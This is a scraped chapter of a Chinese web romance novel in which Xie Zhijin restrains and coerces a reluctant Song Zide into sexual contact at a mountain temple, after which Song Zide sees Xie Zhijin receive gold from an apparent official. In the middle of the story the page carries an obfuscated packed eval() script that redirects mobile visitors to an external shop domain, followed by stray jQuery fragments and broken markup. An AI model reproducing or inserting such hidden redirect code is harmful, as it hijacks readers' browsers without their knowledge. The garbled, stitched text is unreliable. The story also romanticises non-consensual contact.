文趣网 > 其他小说 > 被反派诱哄后 > 29.第 29 章
    真是稀奇,兔子朝着鹰隼自投罗网,羊主动投入了狼的怀抱。

    哪怕是警惕,小坏蛋的警惕心也十分有限。

    被拖入房中后,宋自得起先还挣一挣,然而发觉不管他如何动,始终逃脱不开后,便也贴着谢知津。

    谢知津不知他为何如此乖顺,哪怕今日一切都是他有意为之,宋自得的乖顺似乎也过了头。

    不论如何,他今晚都能品尝到一点果实。

    他的掌心缓缓往上攀爬,扣住了宋自得的后颈。

    “谢知津,”宋自得忽地问,“你为何不丢下我?”

    谢知津手一顿,对他的询问有几分奇怪,“我为何要丢下你?”

    哪怕宋自得是个玩物,他也并未玩够。

    怎么能没玩够就收手?

    宋自得想到了赵大娘,他只不过离开了破庙一段时日,赵大娘便走了。

    在他破坏与谢知津的约定时,谢知津却守着他。

    赵大娘对他好,是因为他与她的儿子相似。

    谢知津给他吃、给他住,为的是他身子。

    若是他始终不乖巧,触怒谢知津,谢知津还会如今日这般,始终跟着他,守他一整日吗?

    就着烛光,谢知津端详宋自得的神情。

    宋自得抬着水汪汪的眸,专注地盯着他,眼神似藏了些欲言又止的情愫。

    该不会,他今日略施手段,宋自得便动了心吧?

    谢知津心中升起几分难言的滋味,既讥讽于宋自得动心的轻易,又觉得,此时此刻,宋自得望向他的眼神,感觉不算坏。

    他并未与人调过情,可一些话,顺口也就说了。

    “我怎会丢下昭昭?”

    宋自得问:“为何不会?哪怕是爹娘,也不会时时刻刻护在孩子身侧。”

    谢知津回想起,宋自得自幼父母双亡,身侧无人照料恐怕是他的常态。

    吃百家饭,听着好听,实则也不过是颠沛流离,今日在西家待着,明日便到了东家。

    宋自得如同一株野草,无枝可依。

    从前也并非不知,宋自得从小长大得艰难,可今日宋自得犹如抓着救命稻草般攀附着他,他这才切实感受到了。

    今晚的宋自得,也正如刚被捡回家的小狗。

    只要主人留下,做什么都可以。

    谢知津喉间发紧,呼吸也变得粗重,令他疑惑的是,除却翻涌的血液,心口也似被攥了一下。

    他将这归因于宋自得的诱人。

    气氛到了,若是他再添把火呢?

    谢知津凑近了,“只要昭昭乖乖听话,我自不会丢下昭昭。”

    只要乖,便不会被丢弃吗?

    那还是要乖巧才行。

    宋自得似是被赵大娘的离去冲昏了头,心头一股郁气难解,在谢知津亲上来时,他没有躲开。

    那张总是凶巴巴的小嘴,此刻吐出的,比密还甘甜。

    谢知津啃咬着他的唇瓣,寒冷的夜,气息却在升温,手也顺着衣摆摸了进去。

    宋自得猛地蜷缩起身子,“嗯……”

    他震惊地看着谢知津。

    谢知津收回手,指尖在烛光下泛着晶莹的水光,他微微一笑,“昭昭,这是什么?”

    宋自得连忙摇头。

    该死的男人,把他的身子都变得奇怪了!

    怎么会被摸一下,就……

    宋自得又恨起赤酒楼的那个男人。

    谢知津湿润的指尖直接放在了他的唇上,命令道:“伸出舌头来。”

    不要!

    宋自得瞳仁紧缩,闭上嘴巴躲开他的手指,却被谢知津强制掰开,接着宋自得尝到了一点甜味。

    他双手被谢知津反手钳住,根本无法挣扎,鲜红的舌尖到底是伸了出来。

    随后他被谢知津抱起,摁在禅房的塌上,谢知津眸色不知何时,已经暗沉到透不出光。

    他声音低哑:“自己脱,还是我帮你?”

    宋自得被吓住,他沉浸在谢知津给予他的心安中,可男人的给予总是有条件的,他此刻又清醒了,发觉这条件他不想接受。

    被男人摸身子,又被压在身下,太怪异了!

    他顿时什么伤春悲月的心都没了!什么赵大娘李大娘的,什么被不被丢下。什么都不能让他被个男人压着!

    “不……”宋自得露出个讨好的笑容,“我忽然觉得,隔壁的禅房也没什么不好……”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17638382|205105||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    谢知津笑了,“昭昭,你是在耍弄我?”

    宋自得涨红了脸,“你放开我!”

    到手的兔子,哪有撒口的道理?

    谢知津可惜道:“看来是要我亲自动手了。”

    宋自得腰间的系带一解便松了,宋自得始料未及,又一次讶然地盯着谢知津娴熟的指尖。

    “等等!”在谢知津又一次吻他时,宋自得推拒他的胸膛,“昨日我说过,你让我准备……准备两日!这才第一日!”

    谢知津总算松开了手。

    他居高临下地看着宋自得,似在思索,“确有此事。”

    宋自得松了口气,还好谢知津还愿意装一装,没那么不讲道理。

    “可是,昭昭不也没有遵守约定吗?”谢知津修长的指尖挑开他的衣襟,“所以,要罚。”

    “罚?”宋自得傻眼了。

    很快,他便知道谢知津罚什么了。

    ……

    宋自得的衣衫只保住了一半,半挂在他身上。

    他屁股是保住了,可手腕疼得发酸,舌根也发麻,几乎是被男人叼着舌头吮了大半夜。

    次日清晨,他醒来时,身侧已经空了。

    宋自得呆呆的,累得不想起身。

    他还是头一次碰除他之外的男人,除了怪异更是震惊,谢知津比他大不少,还一直不出。

    宋自得颇有种底线被碾碎了、零落成泥的悲伤。

    不过,他的悲伤,在起身后不久,又戛然而止了。

    他出了禅房,夜晚没有看清,原来连山寺并没有夜晚看着可怖,甚至算得上清幽,这里的僧人也都开始了一天的修行,来来往往人算不得少,起码比夜里热闹。

    他在寺中走着,试图找到熟脸。走着走着,竟来到了一处茶室。

    无人阻拦他,他如入无人之境,看到茶室中坐着一个熟悉的身影。

    是谢知津。

    谢知津身旁,还坐了一个人,宋自得不认识,但看打扮,像是个穿了常服的官员,正私密地和谢知津对话。

    他抬起手,将手中的东西对着谢知津推去。

    宋自得眼尖,瞧见了一抹金灿灿。

    黄……黄金?!